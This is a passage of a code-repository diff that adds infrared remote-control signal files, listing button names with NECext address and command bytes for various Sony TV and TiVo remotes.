+command: 1D 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 20 00 00 00 +# +name: I-LINK +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 21 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 28 00 00 00 +# +name: MEMORY_STICK +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 31 00 00 00 +# +name: MENU_OPTIONS +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 36 00 00 00 +# +name: MEDIA +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 38 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 3C 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 3D 00 00 00 +# +name: PIP_ZOOM_LEFT +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 4D 00 00 00 +# +name: PIP_ZOOM_RIGHT +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 4E 00 00 00 +# +name: STORE_MODE +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 6A 00 00 00 +# +name: PIP_ZOOM_IN_LEFT +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 78 00 00 00 +# +name: PIP_ZOOM_IN_RIGHT +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 79 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TV/164,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/TV/164,-1.ir new file mode 100644 index 000000000..63dec21e1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/TV/164,-1.ir @@ -0,0 +1,362 @@ +Filetype: IR signals file +Version: 1 +# +name: CC +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 10 00 00 00 +# +name: CLOSED_CAPTION +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 10 00 00 00 +# +name: DISPLAY_MODE +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 10 00 00 00 +# +name: HEADPHONES +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 11 00 00 00 +# +name: DVD_COMPONENT_INPUT +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 12 00 00 00 +# +name: COMP +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 17 00 00 00 +# +name: STEADY_SOUND_ON/OFF +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 1F 00 00 00 +# +name: EFFECT2 +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 1F 00 00 00 +# +name: SCREEN:_NORMAL +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 31 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 31 00 00 00 +# +name: SCREEN:_ZOOM/SUBTTL +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 32 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 32 00 00 00 +# +name: HD_COMPONENT_INPUT +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 36 00 00 00 +# +name: SCREEN:_NORMAL/FULL +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 3B 00 00 00 +# +name: FULL_-_NORMAL +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 3B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 3B 00 00 00 +# +name: WIDE_MODE +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 3D 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 3D 00 00 00 +# +name: WIDE +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 3D 00 00 00 +# +name: SCREEN:_WIDE_ZOOM +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 42 00 00 00 +# +name: WIDE_ZOOM +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 42 00 00 00 +# +name: VERTICAL_CENTERING +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 44 00 00 00 +# +name: SCREEN:_SUBTITLE16X9 +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 45 00 00 00 +# +name: RGB/YUV +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 48 00 00 00 +# +name: YUV +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 48 00 00 00 +# +name: COMP_2 +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 48 00 00 00 +# +name: INPUT-YUV +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 48 00 00 00 +# +name: VM +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 4D 00 00 00 +# +name: TRINITRON +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 4F 00 00 00 +# +name: NEXTVIEW +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 5B 00 00 00 +# +name: PROGRAM_GUIDE +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 5B 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 60 00 00 00 +# +name: ACTIVE_<_> +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 63 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 63 00 00 00 +# +name: ACTIVE_CH +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 63 00 00 00 +# +name: ACTIVE_ +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 63 00 00 00 +# +name: DISPLAY_SHOW +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 66 00 00 00 +# +name: FULL_RESET +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 6C 00 00 00 +# +name: PIP_OFF +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 6E 00 00 00 +# +name: DEMO +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 71 00 00 00 +# +name: MULTI-PICTURE +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 74 00 00 00 +# +name: MULTI-PIC +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 74 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 74 00 00 00 +# +name: PIP_CHN_INDEX +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 74 00 00 00 +# +name: PIP_MULTI +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 74 00 00 00 +# +name: SPLIT_PICTURE +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 77 00 00 00 +# +name: PIP_SPLIT +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 77 00 00 00 +# +name: PIC_SPLIT +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 77 00 00 00 +# +name: TWIN_VIEW +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 77 00 00 00 +# +name: SPLIT_SCREEN +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 77 00 00 00 +# +name: PIP_SPLIT_SCREEN +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 77 00 00 00 +# +name: PIP_ON/OFF +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 77 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 77 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 7C 00 00 00 +# +name: PIP_AUDIO +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 7C 00 00 00 +# +name: AUDIO_SWAP +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 7C 00 00 00 +# +name: PIP_AUDIO_MONITOR +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 7C 00 00 00 +# +name: PIP_SOUND +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 7C 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 7D 00 00 00 +# +name: DEGAUSS +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TV/183,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/TV/183,-1.ir new file mode 100644 index 000000000..9e65c0b47 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/TV/183,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: GUIDE +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TV/26,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/TV/26,-1.ir new file mode 100644 index 000000000..d67babc78 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/TV/26,-1.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: SYNC_MENU +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 58 00 00 00 +# +name: HDMI_SCROLL +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 59 00 00 00 +# +name: INPUT_HDMI_1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 5A 00 00 00 +# +name: INPUT_HDMI_1_(2011) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 5A 00 00 00 +# +name: INPUT_HDMI_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 5B 00 00 00 +# +name: INPUT_HDMI_2_(2011) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 5B 00 00 00 +# +name: INPUT_HDMI_3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 5C 00 00 00 +# +name: INPUT_HDMI_3_(2011) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 5C 00 00 00 +# +name: INPUT_HDMI_4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 5D 00 00 00 +# +name: INPUT_HDMI_4_(2011) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 5D 00 00 00 +# +name: INPUT_HDMI_5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 5E 00 00 00 +# +name: INPUT_HDMI_5_(2011) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 5E 00 00 00 +# +name: MENU_POP_UP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 61 00 00 00 +# +name: DME_X_BRAVIA_MODULE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 6B 00 00 00 +# +name: INTERNET_TV +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 79 00 00 00 +# +name: INTERNET_APPS +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 7A 00 00 00 +# +name: NETFLIX +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 7C 00 00 00 +# +name: INTERNET_QRIOCITY +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TV/26,42.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/TV/26,42.ir new file mode 100644 index 000000000..4916214b9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/TV/26,42.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: VIDEO_OFF +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 50 00 00 00 +# +name: VIDEO_MEMORY_1 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 51 00 00 00 +# +name: VIDEO_MEMORY_2 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 52 00 00 00 +# +name: VIDEO_MEMORY_3 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 53 00 00 00 +# +name: VIDEO_MEMORY_4 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 54 00 00 00 +# +name: VIDEO_MEMORY_5 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 55 00 00 00 +# +name: VIDEO_MEMORY_6 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TV/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/TV/3,-1.ir new file mode 100644 index 000000000..cf4c04142 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/TV/3,-1.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: CLOCK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2B 00 00 00 +# +name: AUDIO/RED +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4C 00 00 00 +# +name: AUDIO_MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4C 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4C 00 00 00 +# +name: PICTURE/GREEN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4D 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4D 00 00 00 +# +name: VIDEO_MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4D 00 00 00 +# +name: MULTISELECT/YELLOW +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4E 00 00 00 +# +name: MULTI-PIP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4E 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4E 00 00 00 +# +name: 16/9/BLUE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4F 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4F 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TV/84,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/TV/84,-1.ir new file mode 100644 index 000000000..7ca50f1d3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/TV/84,-1.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 29 00 00 00 +# +name: VIDEO_INPUT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2A 00 00 00 +# +name: INPUT_A +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2B 00 00 00 +# +name: INPUT_B +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2C 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 33 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 34 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 35 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 36 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 5A 00 00 00 +# +name: S_VIDEO_INPUT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 5F 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 7B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TiVo/183,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/TiVo/183,-1.ir new file mode 100644 index 000000000..e68c36a57 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/TiVo/183,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 09 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 0B 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 0B 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 0F 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 10 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 11 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 1A 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 1B 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 1C 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 1D 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 20 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 23 00 00 00 +# +name: ADVANCE +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 27 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 38 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 3A 00 00 00 +# +name: . +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 4A 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 5B 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 63 00 00 00 +# +name: TIVO +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 64 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 6E 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 70 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 71 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 72 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 73 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 74 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 75 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 76 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TiVo/23,133.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/TiVo/23,133.ir new file mode 100644 index 000000000..a47c10500 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/TiVo/23,133.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 09 00 00 00 +# +name: ENTER/JUMP +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 0B 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 0F 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 10 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 11 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 15 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 1A 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 1B 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 1C 00 00 00 +# +name: REC_ON/OFF +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 1D 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 23 00 00 00 +# +name: ADVANCE +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 27 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 3A 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 5B 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 63 00 00 00 +# +name: TIVO_MENU +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 64 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 6E 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 70 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 71 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 72 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 73 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 74 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 75 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 76 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TiVo/26,154.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/TiVo/26,154.ir new file mode 100644 index 000000000..6b4afd442 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/TiVo/26,154.ir @@ -0,0 +1,410 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 09 00 00 00 +# +name: ENTER/JUMP +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 0B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 0B 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 10 00 00 00 +# +name: CHANNEL+ +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 10 00 00 00 +# +name: CHANNEL/PAGE_UP +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 10 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 11 00 00 00 +# +name: CHANNEL_ +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 11 00 00 00 +# +name: CHANNEL/PAGE_DOWN +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 11 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 15 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1A 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1B 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1B 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1B 00 00 00 +# +name: BACK_<< +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1B 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1B 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1C 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1C 00 00 00 +# +name: FAST_FWD_>> +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1C 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1C 00 00 00 +# +name: RECORD_ON/OFF +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1D 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1D 00 00 00 +# +name: REC_ON/OFF +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1D 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 23 00 00 00 +# +name: SLOW_> +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 23 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 23 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 2B 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 5B 00 00 00 +# +name: MENU_SELECT +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 5E 00 00 00 +# +name: SE3ECT +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 5E 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 5E 00 00 00 +# +name: MENU_UP_ARROW +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 5F 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 5F 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 5F 00 00 00 +# +name: MENU_DOWN_ARROW +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 60 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 60 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 60 00 00 00 +# +name: MENU_RIGHT_ARROW +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 61 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 61 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 61 00 00 00 +# +name: MENU_LEFT_ARROW +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 62 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 62 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 62 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 63 00 00 00 +# +name: TIVO +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 6F 00 00 00 +# +name: TIVO_CENTRAL +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 6F 00 00 00 +# +name: TIVO_MAN +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 6F 00 00 00 +# +name: TIVO_BUTTON +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 6F 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 70 00 00 00 +# +name: THUMB_UP +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 70 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 71 00 00 00 +# +name: THUMB_DOWN +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 71 00 00 00 +# +name: ADVANCE +type: 